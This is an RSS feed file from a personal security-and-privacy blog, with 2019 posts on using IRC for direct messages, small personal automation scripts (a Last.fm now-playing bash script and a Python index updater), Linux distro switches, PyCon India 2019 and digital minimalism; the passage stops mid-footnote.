pages/blog/feed.xml (view raw)
1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
2 <channel>
3 <title>icyphox's blog</title>
4 <link>https://icyphox.sh/blog/</link>
5 <description>Security, forensics and privacy.</description>
6 <atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
7 <image>
8 <title>icyphox logo</title>
9 <url>https://icyphox.sh/icyphox.png</url>
10 <link>https://icyphox.sh/blog/</link>
11 </image>
12 <language>en-us</language>
13 <copyright>Creative Commons BY-NC-SA 4.0</copyright>
14 <item><title>IRC for DMs</title><description><![CDATA[<p><a href="https://nerdypepper.me">Nerdy</a> and I decided to try and use IRC for our
15daily communications, as opposed to non-free alternatives like WhatsApp
16or Telegram. This is an account of how that went.</p>
17
18<h3 id="the-status-quo-of-instant-messaging-apps">The status quo of instant messaging apps</h3>
19
20<p>I’ve tried a <em>ton</em> of messaging applications – Signal, WhatsApp,
21Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.</p>
22
23<p><strong>Signal</strong>: It straight up sucks on Android. Not to mention the
24centralzied architecture, and OWS’s refusal to federate.</p>
25
26<p><strong>WhatsApp</strong>: Facebook’s spyware that people use without a second
27thought. The sole reason I have it installed is for University’s
28class groups; I can’t wait to graduate.</p>
29
30<p><strong>Telegram</strong>: Centralized architecture and a closed-source server. It’s
31got a very nice Android client, though.</p>
32
33<p><strong>Jami</strong>: Distributed platform, free software. I am not going to comment
34on this because I don’t recall what my experience was like, but I’m not
35using it now… so if that’s indicative of anything.</p>
36
37<p><strong>Matrix (Riot)</strong>: Distributed network. Multiple client implementations.
38Overall, pretty great, but it’s slow. I’ve had messages not send / not
39received a lot of times. Matrix + Riot excels in group communication, but
40really sucks for one-to-one chats.</p>
41
42<p><strong>Slack</strong> / <strong>Discord</strong>: <em>sigh</em></p>
43
44<p><strong>DeltaChat</strong>: Pretty interesting idea – on paper. Using existing email
45infrastructure for IM sounds great, but it isn’t all that cash in
46practice. Email isn’t instant, there’s always a delay of give or take
475 to 10 seconds, if not more. This affects the flow of conversation.
48I might write a small blog post later, revewing DeltaChat.<sup class="footnote-ref" id="fnref-deltachat"><a href="#fn-deltachat">2</a></sup></p>
49
50<h3 id="why-irc">Why IRC?</h3>
51
52<p>It’s free, in all senses of the word. A lot of others have done a great
53job of answering this question in further detail, this is by far my
54favourite:</p>
55
56<p><a href="https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html">https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html</a></p>
57
58<h3 id="using-ircs-private-messages">Using IRC’s private messages</h3>
59
60<p>This was the next obvious choice, but personal message buffers don’t
61persist in ZNC and it’s very annoying to have to do a <code>/query
62nerdypepper</code> (Weechat) or to search and message a user via Revolution
63IRC. The only unexplored option – using a channel.</p>
64
65<h3 id="setting-up-a-channel-for-dms">Setting up a channel for DMs</h3>
66
67<p>A fairly easy process:</p>
68
69<ul>
70<li><p>Set modes (on Rizon)<sup class="footnote-ref" id="fnref-modes"><a href="#fn-modes">1</a></sup>:</p>
71
72<pre><code>#crimson [+ilnpstz 3]
73</code></pre>
74
75<p>In essence, this limits the users to 3 (one bot), sets the channel to invite only,
76hides the channel from <code>/whois</code> and <code>/list</code>, and a few other misc.
77modes.</p></li>
78<li><p>Notifications: Also a trivial task; a quick modification to <a href="https://weechat.org/scripts/source/lnotify.py.html/">lnotify.py</a>
79to send a notification for all messages in the specified buffer
80(<code>#crimson</code>) did the trick for Weechat. Revolution IRC, on the other
81hand, has an option to setup rules for notifications – super
82convenient.</p></li>
83<li><p>A bot: Lastly, a bot for a few small tasks – fetching URL titles, responding
84to <code>.np</code> (now playing) etc. Writing an IRC bot is dead simple, and it
85took me about an hour or two to get most of the basic functionality in
86place. The source is <a href="https://github.com/icyphox/detotated">here</a>.
87It is by no means “good code”; it breaks spectacularly from time to
88time.</p></li>
89</ul>
90
91<h3 id="in-conclusion">In conclusion</h3>
92
93<p>As the subtitle suggests, using IRC has been great. It’s probably not
94for everyone though, but it fits my (and Nerdy’s) usecase perfectly.</p>
95
96<p>P.S.: <em>I’m not sure why the footnotes are reversed.</em></p>
97
98<div class="footnotes">
99<hr />
100<ol>
101<li id="fn-modes">
102<p>Channel modes on <a href="https://wiki.rizon.net/index.php?title=Channel_Modes">Rizon</a>. <a href="#fnref-modes" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
103</li>
104
105<li id="fn-deltachat">
106<p>It’s in <a href="https://github.com/icyphox/site/issues/10">queue</a>. <a href="#fnref-deltachat" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
107</li>
108</ol>
109</div>
110]]></description><link>https://icyphox.sh/blog/irc-for-dms</link><pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/irc-for-dms</guid></item><item><title>The intelligence conundrum</title><description><![CDATA[<p>I watched the latest <a href="https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series)">S.W.A.T.</a>
111episode a couple of days ago, and it highlighted some interesting issues that
112intelligence organizations face when working with law enforcement. Side note: it’s a pretty
113good show if you like police procedurals.</p>
114
115<h3 id="the-problem">The problem</h3>
116
117<p>Consider the following scenario:</p>
118
119<ul>
120<li>There’s a local drug lord who’s been recruited to provide intel, by a certain 3-letter organization.</li>
121<li>Local PD busts his operation and proceed to arrest him.</li>
122<li>3-letter org steps in, wants him released.</li>
123</ul>
124
125<p>So here’s the thing, his presence is a threat to public but at the same time,
126he can be a valuable long term asset – giving info on drug inflow, exchanges and perhaps even
127actionable intel on bigger fish who exist on top of the ladder. But he also
128seeks security. The 3-letter org must provide him with protection,
129in case he’s blown. And like in our case, they’d have to step in if he gets arrested.</p>
130
131<p>Herein lies the problem. How far should an intelligence organization go to protect an asset?
132Who matters more, the people they’ve sworn to protect, or the asset?
133Because afterall, in the bigger picture, local PD and intel orgs are on the same side.</p>
134
135<p>Thus, the question arises – how can we measure the “usefulness” of an
136asset to better quantify the tradeoff that is to be made?
137Is the intel gained worth the loss of public safety?
138This question remains largely unanswered, and is quite the
139predicament should you find yourself in it.</p>
140
141<p>This was a fairly short post, but an interesting problem to ponder
142nonetheless.</p>
143]]></description><link>https://icyphox.sh/blog/intel-conundrum</link><pubDate>Mon, 28 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/intel-conundrum</guid></item><item><title>Hacky scripts</title><description><![CDATA[<p>As a CS student, I see a lot of people around me doing courses online
144to learn to code. Don’t get me wrong – it probably works for some.
145Everyone learns differently. But that’s only going to get you so far.
146Great you know the syntax, you can solve some competitive programming
147problems, but that’s not quite enough, is it? The actual learning comes
148from <em>applying</em> it in solving <em>actual</em> problems – not made up ones.
149(<em>inb4 some seething CP bro comes at me</em>)</p>
150
151<p>Now, what’s an actual problem? Some might define it as real world
152problems that people out there face, and solving it probably requires
153building a product. This is what you see in hackathons, generally.</p>
154
155<p>If you ask me, however, I like to define it as problems that <em>you</em> yourself
156face. This could be anything. Heck, it might not even be a “problem”. It
157could just be an itch that you want to scratch. And this is where
158<strong>hacky scripts</strong> come in. Unclear? Let me illustrate with a few
159examples.</p>
160
161<h3 id="now-playing-status-in-my-bar">Now playing status in my bar</h3>
162
163<p>If you weren’t aware already – I rice my desktop. A lot. And a part of
164this cohesive experience I try to create involves a status bar up at the
165top of my screen, showing the time, date, volume and battery statuses etc.</p>
166
167<p>So here’s the “problem”. I wanted to have my currently playing song
168(Spotify), show up on my bar. How did I approach this? A few ideas
169popped up in my head:</p>
170
171<ul>
172<li>Send <code>playerctl</code>’s STDOUT into my bar</li>
173<li>Write a Python script to query Spotify’s API</li>
174<li>Write a Python/shell script to query Last.fm’s API</li>
175</ul>
176
177<p>The first approach bombed instantly. <code>playerctl</code> didn’t recognize my
178Spotify client and whined about some <code>dbus</code> issues to top it off.
179I spent a while in that rabbit hole but eventually gave up.</p>
180
181<p>My next avenue was the Spotify Web API. One look at the <a href="https://developer.spotify.com/documentation/web-api/">docs</a> and
182I realize that I’ll have to make <em>more</em> than one request to fetch the
183artist and track details. Nope, I need this to work fast.</p>
184
185<p>Last resort – Last.fm’s API. Spolier alert, this worked. Also, arguably
186the best choice, since it shows the track status regardless of where
187the music is being played. Here’s the script in its entirety:</p>
188
189<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
190<span class="c1"># now playing</span>
191<span class="c1"># requires the last.fm API key</span>
192
193<span class="nb">source</span> ~/.lastfm <span class="c1"># `export API_KEY="<key>"`</span>
194<span class="nv">fg</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color15<span class="k">)</span><span class="s2">"</span>
195<span class="nv">light</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color8<span class="k">)</span><span class="s2">"</span>
196
197<span class="nv">USER</span><span class="o">=</span><span class="s2">"icyphox"</span>
198<span class="nv">URL</span><span class="o">=</span><span class="s2">"http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks"</span>
199<span class="nv">URL</span><span class="o">+=</span><span class="s2">"&user=</span><span class="nv">$USER</span><span class="s2">&api_key=</span><span class="nv">$API_KEY</span><span class="s2">&format=json&limit=1&nowplaying=true"</span>
200<span class="nv">NOTPLAYING</span><span class="o">=</span><span class="s2">" "</span> <span class="c1"># I like to have it show nothing</span>
201<span class="nv">RES</span><span class="o">=</span><span class="k">$(</span>curl -s <span class="nv">$URL</span><span class="k">)</span>
202<span class="nv">NOWPLAYING</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0]."@attr".nowplaying'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
203
204
205<span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$NOWPLAYING</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"true"</span> <span class="o">]]</span>
206<span class="k">then</span>
207 <span class="nv">TRACK</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].name'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
208 <span class="nv">ARTIST</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].artist."#text"'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
209 <span class="nb">echo</span> -ne <span class="s2">"%{F</span><span class="nv">$light</span><span class="s2">}</span><span class="nv">$TRACK</span><span class="s2"> %{F</span><span class="nv">$fg</span><span class="s2">}by </span><span class="nv">$ARTIST</span><span class="s2">"</span>
210<span class="k">else</span>
211 <span class="nb">echo</span> -ne <span class="s2">"</span><span class="nv">$NOTPLAYING</span><span class="s2">"</span>
212<span class="k">fi</span>
213</code></pre></div>
214
215<p>The <code>source</code> command is used to fetch the API key which I store at
216<code>~/.lastfm</code>. The <code>fg</code> and <code>light</code> variables can be ignored, they’re only
217for coloring output on my bar. The rest is fairly trivial and just
218involves JSON parsing with <a href="https://stedolan.github.io/jq/"><code>jq</code></a>.
219That’s it! It’s so small, but I learnt a ton. For those curious, here’s
220what it looks like running:</p>
221
222<p><img src="/static/img/now_playing.png" alt="now playing status polybar" /></p>
223
224<h3 id="update-latest-post-on-the-index-page">Update latest post on the index page</h3>
225
226<p>This pertains to this very blog that you’re reading. I wanted a quick
227way to update the “latest post” section in the home page and the
228<a href="/blog">blog</a> listing, with a link to the latest post. This would require
229editing the Markdown <a href="https://github.com/icyphox/site/tree/master/pages">source</a>
230of both pages.</p>
231
232<p>This was a very
233interesting challenge to me, primarily because it requires in-place
234editing of the file, not just appending. Sure, I could’ve come up with
235some <code>sed</code> one-liner, but that didn’t seem very fun. Also I hate
236regexes. Did a lot of research (read: Googling) on in-place editing of
237files in Python, sorting lists of files by modification time etc. and
238this is what I ended up on, ultimately:</p>
239
240<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
241
242<span class="kn">from</span> <span class="nn">markdown2</span> <span class="kn">import</span> <span class="n">markdown_path</span>
243<span class="kn">import</span> <span class="nn">os</span>
244<span class="kn">import</span> <span class="nn">fileinput</span>
245<span class="kn">import</span> <span class="nn">sys</span>
246
247<span class="c1"># change our cwd</span>
248<span class="n">os</span><span class="o">.</span><span class="n">chdir</span><span class="p">(</span><span class="s2">"bin"</span><span class="p">)</span>
249
250<span class="n">blog</span> <span class="o">=</span> <span class="s2">"../pages/blog/"</span>
251
252<span class="c1"># get the most recently created file</span>
253<span class="k">def</span> <span class="nf">getrecent</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
254 <span class="n">files</span> <span class="o">=</span> <span class="p">[</span><span class="n">path</span> <span class="o">+</span> <span class="n">f</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">blog</span><span class="p">)</span> <span class="k">if</span> <span class="n">f</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s2">"_index.md"</span><span class="p">,</span> <span class="s2">"feed.xml"</span><span class="p">]]</span>
255 <span class="n">files</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">getmtime</span><span class="p">,</span> <span class="n">reverse</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
256 <span class="k">return</span> <span class="n">files</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
257
258<span class="c1"># adding an entry to the markdown table</span>
259<span class="k">def</span> <span class="nf">update_index</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
260 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/_index.md"</span>
261 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
262 <span class="n">md</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
263 <span class="n">ruler</span> <span class="o">=</span> <span class="n">md</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">"| --- | --: |</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
264 <span class="n">md</span><span class="p">[</span><span class="n">ruler</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
265
266 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
267 <span class="n">f</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="n">md</span><span class="p">)</span>
268
269<span class="c1"># editing the md source in-place</span>
270<span class="k">def</span> <span class="nf">update_blog</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
271 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/blog/_index.md"</span>
272 <span class="n">s</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
273 <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">fileinput</span><span class="o">.</span><span class="n">FileInput</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">inplace</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
274 <span class="k">if</span> <span class="s2">"--:"</span> <span class="ow">in</span> <span class="n">l</span><span class="p">:</span>
275 <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">l</span> <span class="o">+</span> <span class="n">s</span><span class="p">)</span>
276 <span class="k">print</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">""</span><span class="p">),</span>
277
278
279<span class="c1"># fetch title and date</span>
280<span class="n">meta</span> <span class="o">=</span> <span class="n">markdown_path</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">),</span> <span class="n">extras</span><span class="o">=</span><span class="p">[</span><span class="s2">"metadata"</span><span class="p">])</span><span class="o">.</span><span class="n">metadata</span>
281<span class="n">fname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">splitext</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">))[</span><span class="mi">0</span><span class="p">])</span>
282<span class="n">url</span> <span class="o">=</span> <span class="s2">"/blog/"</span> <span class="o">+</span> <span class="n">fname</span>
283<span class="n">line</span> <span class="o">=</span> <span class="n">f</span><span class="s2">"| [{meta['title']}]({url}) | `{meta['date']}` |"</span>
284
285<span class="n">update_index</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
286<span class="n">update_blog</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
287</code></pre></div>
288
289<p>I’m going to skip explaining this one out, but in essence, it’s <strong>one
290massive hack</strong>. And in the end, that’s my point exactly. It’s very
291hacky, but the sheer amount I learnt by writing this ~50
292line script can’t be taught anywhere.</p>
293
294<p>This was partially how
295<a href="https://github.com/icyphox/vite">vite</a> was born. It was originally
296intended to be a script to build my site, but grew into a full-blown
297Python package. I could’ve just
298used an off-the-shelf static site generator
299given that there are <a href="https://staticgen.com">so many</a> of them, but
300I chose to write one myself.</p>
301
302<p>And that just about sums up what I wanted to say. The best and most fun
303way to learn to code – write hacky scripts. You heard it here.</p>
304]]></description><link>https://icyphox.sh/blog/hacky-scripts</link><pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/hacky-scripts</guid></item><item><title>Status update</title><description><![CDATA[<p>I’ve decided to drop the “Weekly” part of the status update posts, since
305they were never weekly and—let’s be honest—they aren’t going to be.
306These posts are, henceforth, just “Status updates”. The date range can
307be inferred from the post date.</p>
308
309<p>That said, here’s what I’ve been up to!</p>
310
311<h3 id="void-linux">Void Linux</h3>
312
313<p>Yes, I decided to ditch Alpine in favor of Void. Alpine was great,
314really. The very comfy <code>apk</code>, ultra mnml system… but having to
315maintain a chroot for my glibc needs was getting way too painful. And
316the package updates are so slow! Heck, they’re still on kernel 4.xx on
317their supposed “bleeding” <code>edge</code> repo.</p>
318
319<p>So yes, Void Linux it is. Still a very clean system. I’m loving it.
320I also undervolted my system using <a href="https://github.com/georgewhewell/undervolt"><code>undervolt</code></a>
321(-95 mV). Can’t say for sure if there’s a noticeable difference in
322battery life though. I’ll see if I can run some tests.</p>
323
324<p>This <em>should</em> be the end of my distro hopping. Hopefully.</p>
325
326<h3 id="pycon">PyCon</h3>
327
328<p>Yeah yeah, enough already. Read <a href="/blog/pycon-wrap-up">my previous post</a>.</p>
329
330<h3 id="this-website">This website</h3>
331
332<p>I’ve moved out of GitHub Pages over to Netlify. This isn’t my first time
333using Netlify, though. I used to host my old blog which ran Hugo, there.
334I was tired of doing this terrible hack to maintain a single repo for
335both my source (<code>master</code>) and deploy (<code>gh-pages</code>). In essence, here’s
336what I did:</p>
337
338<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
339
340git push origin master
341<span class="c1"># push contents of `build/` to the `gh-pages` branch</span>
342git subtree push --prefix build origin gh-pages
343</code></pre></div>
344
345<p>I can now simply push to <code>master</code>, and Netlify generates a build for me
346by installing <a href="https://github.com/icyphox/vite">vite</a>, and running <code>vite
347build</code>. Very pleasant.</p>
348
349<h3 id="mnmlwms-status"><code>mnmlwm</code>’s status</h3>
350
351<p><a href="https://github.com/minimalwm/minimal">mnmlwm</a>, for those unaware, is my pet project which aims to be a simple
352window manager written in Nim. I’d taken a break from it for a while
353because Xlib is such a pain to work with (or I’m just dense). Anyway,
354I’m planning on getting back to it, with some fresh inspiration from
355Dylan Araps’ <a href="https://github.com/dylanaraps/sowm">sowm</a>.</p>
356
357<h3 id="other">Other</h3>
358
359<p>I’ve been reading a lot of manga lately. Finished <em>Kekkon Yubiwa
360Monogatari</em> (till the latest chapter) and <em>Another</em>, and I’ve just
361started <em>Kakegurui</em>. I’ll reserve my opinions for when I update the
362<a href="/reading">reading log</a>.</p>
363
364<p>That’s about it, and I’ll see you – definitely not next week.</p>
365]]></description><link>https://icyphox.sh/blog/2019-10-17</link><pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-10-17</guid></item><item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I’m writing this article as I sit in class, back on the grind. Last
366weekend—Oct 12th and 13th—was PyCon India 2019, in Chennai, India.
367It was my first PyCon, <em>and</em> my first ever talk at a major conference!
368This is an account of the all the cool stuff I saw, people I met and the
369talks I enjoyed.
370Forgive the lack of pictures – I prefer living the moment through my
371eyes. </p>
372
373<h3 id="talks">Talks</h3>
374
375<p>So much ML! Not that it’s a bad thing, but definitely interesting to
376note. From what I counted, there were about 17 talks tagged under “Data
377Science, Machine Learning and AI”. I’d have liked to see more talks
378discussing security and privacy, but hey, the organizers can only pick
379from what’s submitted. ;)</p>
380
381<p>With that point out of the way, here are some of the talks I really liked:</p>
382
383<ul>
384<li><strong>Python Packaging - where we are and where we’re headed</strong> by <a href="https://twitter.com/pradyunsg">Pradyun</a></li>
385<li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer">Vinay</a></li>
386<li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia">Vikrant</a></li>
387<li><strong>Let’s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus">Sanket</a></li>
388<li>oh and of course, <a href="https://twitter.com/dabeaz">David Beazley</a>’s closing
389keynote</li>
390</ul>
391
392<h3 id="my-talk">My talk (!!!)</h3>
393
394<p>My good buddy <a href="https://twitter.com/_vologue">Raghav</a> and I spoke about
395our smart lock security research. Agreed, it might have been less
396“hardware” and more of a bug on the server-side, but that’s the thing
397about IoT right? It’s so multi-faceted, and is an amalgamation of so
398many different hardware and software stacks. But, anyway…</p>
399
400<p>I was reassured by folks after the talk that the silence during Q/A was
401the “good” kind of silence. Was it really? I’ll never know.</p>
402
403<h3 id="some-nice-people-i-met">Some nice people I met</h3>
404
405<ul>
406<li><a href="https://twitter.com/abhirathb">Abhirath</a> – A 200 IQ lad. Talked to
407me about everything from computational biology to the physical
408implementation of quantum computers.</li>
409<li><a href="https://twitter.com/meain_">Abin</a> – He recognized me from my
410<a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty
411awesome.</li>
412<li><a href="https://twitter.com/h6165">Abhishek</a></li>
413<li>Pradyun and Vikrant (linked earlier)</li>
414</ul>
415
416<p>And a lot of other people doing really great stuff, whose names I’m
417forgetting.</p>
418
419<h3 id="pictures">Pictures!</h3>
420
421<p>It’s not much, and
422I can’t be bothered to format them like a collage or whatever, so I’ll
423just dump them here – as is.</p>
424
425<p><img src="/static/img/silly_badge.jpg" alt="nice badge" />
426<img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" />
427<img src="/static/img/me_talking.jpg" alt="me talking" />
428<img src="/static/img/s443_pycon.jpg" alt="s443 @ pycon" /></p>
429
430<h3 id="cest-tout">C’est tout</h3>
431
432<p>Overall, a great time and a weekend well spent. It was very different
433from your typical security conference – a lot more <em>chill</em>, if you
434will. The organizers did a fantastic job and the entire event was put
435together really well.
436I don’t have much else to say, but I know for sure that I’ll be
437there next time.</p>
438
439<p>That was PyCon India, 2019.</p>
440]]></description><link>https://icyphox.sh/blog/pycon-wrap-up</link><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pycon-wrap-up</guid></item><item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death
441subject. But this is inherently different, since it’s <em>my</em> opinion on
442the matter, and <em>my</em> technique(s) to achieve “digital minimalism”.</p>
443
444<p>According to me, minimalism can be achieved on two primary fronts –
445the phone & the computer. Let’s start with the phone. The daily carry.
446The device that’s on our person from when we get out of bed, till we get
447back in bed.</p>
448
449<h3 id="the-phone">The phone</h3>
450
451<p>I’ve read about a lot of methods people employ to curb their phone
452usage. Some have tried grouping “distracting” apps into a separate
453folder, and this supposedly helps reduce their usage. Now, I fail to see
454how this would work, but YMMV. Another technique I see often is using
455a time governance app—like OnePlus’ Zen Mode—to enforce how much
456time you spend using specific apps, or the phone itself. I’ve tried this
457for myself, but I constantly found myself counting down the minutes
458after which the phone would become usable again. Not helpful.</p>
459
460<p>My solution to this is a lot more brutal. I straight up uninstalled the
461apps that I found myself using too often. There’s a simple principle
462behind it – if the app has a desktop alternative, like Twitter,
463Reddit, etc. use that instead. Here’s a list of apps that got nuked from
464my phone:</p>
465
466<ul>
467<li>Twitter</li>
468<li>Instagram (an exception, no desktop client)</li>
469<li>Relay for Reddit</li>
470<li>YouTube (disabled, ships with stock OOS)</li>
471</ul>
472
473<p>The only non-productive app that I’ve let remain is Clover,
474a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that
475holds up. I’ve also allowed my personal messaging apps to remain, since
476removing those would be inconveniencing others.</p>
477
478<p>I must admit, I often find myself reaching for my phone out of habit
479just to check Twitter, only to find that its gone. I also subconsciously
480tap the place where its icon used to exist (now replaced with my mail
481client) on my launcher. The only “fun” thing left on my phone to do is
482read or listen to music. Which is okay, in my opinion.</p>
483
484<h3 id="the-computer">The computer</h3>
485
486<p>I didn’t do anything too nutty here, and most of the minimalism is
487mostly aesthetic. I like UIs that get out of the way. </p>
488
489<p>My setup right now is just a simple bar at the top showing the time,
490date, current volume and battery %, along with my workspace indicators.
491No fancy colors, no flashy buttons and sliders. And that’s it. I don’t
492try to force myself to not use stuff – after all, I’ve reduced it
493elsewhere. :)</p>
494
495<p>Now the question arises: Is this just a phase, or will I stick to it?
496What’s going to stop me from heading over to the Play Store and
497installing those apps back? Well, I never said this was going to be
498easy. There’s definitely some will power needed to pull this off.
499I guess time will tell.</p>
500]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It’s a lazy Friday afternoon here; yet another off day this week thanks to my
501uni’s fest. My last “weekly” update was 10 days ago, and a lot has happened
502since then. Let’s get right into it!</p>
503
504<h3 id="my-switch-to-alpine">My switch to Alpine</h3>
505
506<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
507
508<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
509<span class="m">3817</span>
510
511<span class="c1"># or something in that ballpark</span>
512</code></pre></div>
513
514<p>I’ve been wanting to reduce my system’s package count.</p>
515
516<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
517sane package manager. I did come across Dylan Araps’
518<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
519for me (and still relatively new). I finally settled on
520<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
521
522<blockquote>
523 <p>Alpine Linux is a security-oriented, lightweight Linux distribution based
524 on musl libc and busybox.</p>
525</blockquote>
526
527<p>The installation was a breeze, and I was quite surprised to see WiFi working
528OOTB. In the past week of my using this distro, the only major hassle I faced
529was getting my Minecraft launcher to run. The JRE isn’t fully ported to <code>musl</code>
530yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
531soon. (hint: it involves chroots)</p>
532
533<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
534
535<h3 id="packaging-for-alpine">Packaging for Alpine</h3>
536
537<p>On a related note, I’ve been busy packaging some of the stuff I use for Alpine
538– you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
539repository if you’re interested. I’m currently working on packaging Nim too, so
540keep an eye out for that in the coming week.</p>
541
542<h3 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h3>
543
544<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
545going to be speaking at PyCon India about our recent smart lock security
546research. The conference is happening in Chennai, much to our convenience.
547If you’re attending too, hit me up on Twitter and we can hang!</p>
548
549<h3 id="other">Other</h3>
550
551<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
552strong, my reading however, hasn’t. I have <em>yet</em> to finish those books! This
553week, for sure.</p>
554
555<p>Musically, I’ve been experimenting. I tried a bit of hip-hop and chilltrap, and
556I think I like it? I still find myself coming back to metalcore/deathcore.
557Here’s a list of artists I discovered (and liked) recently:</p>
558
559<ul>
560<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
561<li>生 Conform 死 (couldn’t find any official YouTube video, check Spotify)</li>
562<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
563<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
564<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
565</ul>
566
567<p>That’s it for now, I’ll see you next week!</p>
568
569<div class="footnotes">
